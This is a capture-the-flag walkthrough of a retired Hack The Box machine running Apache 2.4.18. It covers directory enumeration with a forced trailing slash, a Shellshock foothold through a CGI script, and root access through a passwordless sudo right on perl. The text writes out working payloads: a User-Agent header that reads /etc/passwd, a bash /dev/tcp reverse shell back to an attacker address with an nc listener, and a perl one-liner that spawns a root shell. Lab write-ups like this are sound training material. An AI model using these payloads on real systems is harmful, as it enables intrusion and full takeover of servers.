Target: Hack The Box, retired. Ubuntu, Apache 2.4.18, at 10.10.10.56.

The exploit here is trivial once you have found the script. Finding the script is the box. The reason it is hard is a real Apache configuration detail that breaks default directory brute forcing, and people who fail this box do not fail at Shellshock - they fail at enumeration and conclude there is nothing there.

Attack path

Apache on 80
      |
      v
/cgi-bin/  (only resolves WITH the trailing slash)
      |
      v
user.sh
      |
      v
Shellshock via User-Agent  -->  shell as shelly
      |
      v
sudo perl NOPASSWD  -->  root

Enumeration

export TARGET=10.10.10.56
nmap -p- --min-rate 10000 -oA scans/all-ports "$TARGET"
nmap -sC -sV -p 80,2222 -oA scans/services "$TARGET"
80/tcp   open http    Apache httpd 2.4.18 ((Ubuntu))
2222/tcp open ssh     OpenSSH 7.2p2

SSH on 2222 rather than 22 is worth noting, and is not the path.

The step that decides the box

A normal directory scan finds nothing. Apache’s config is:

ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/

That alias matches only with the trailing slash. /cgi-bin returns 404, so any scanner that does not append one misses the directory completely.

feroxbuster -u "http://$TARGET" -f          # -f forces a trailing slash

# then look inside, with script extensions
feroxbuster -u "http://$TARGET/cgi-bin/" -x sh,cgi,pl

user.sh is there. Requesting it returns “Just an uptime test script” plus real uptime output, so it is a shell script the server is executing.

Foothold: Shellshock

CGI copies request headers into environment variables, and a vulnerable bash evaluates whatever follows a function definition in one.

Confirm first:

nmap -sV -p80 --script http-shellshock \
  --script-args uri=/cgi-bin/user.sh "$TARGET"
curl -H 'User-Agent: () { :;}; echo; /bin/cat /etc/passwd' \
  "http://$TARGET/cgi-bin/user.sh"

Then the shell, with a listener on 443:

nc -lvnp 443
curl -H 'User-Agent: () { :;}; echo; /bin/bash -i >& /dev/tcp/10.10.14.24/443 0>&1' \
  "http://$TARGET/cgi-bin/user.sh"

Why the payload looks like that:

  • () { :;}; is the empty function definition that triggers the parser bug.
  • echo; emits the blank line CGI needs between headers and body. Without it your command runs and you see nothing, which is the usual reason people believe the target is not vulnerable.
  • /bin/bash is written absolute because $PATH is empty in the CGI environment.

That lands as shelly.

Root: sudo perl

sudo -l
User shelly may run the following commands on Shocker:
    (root) NOPASSWD: /usr/bin/perl

perl runs arbitrary code by design, so a sudo right on it is a root shell:

sudo perl -e 'exec "/bin/bash";'

Worth knowing

The takeaway is the -f flag, not the box name. Guessing /cgi-bin/ works here because the machine is called Shocker. It will not work on a target that is not named after its own vulnerability, and forcing the trailing slash is the habit that generalises.

Sources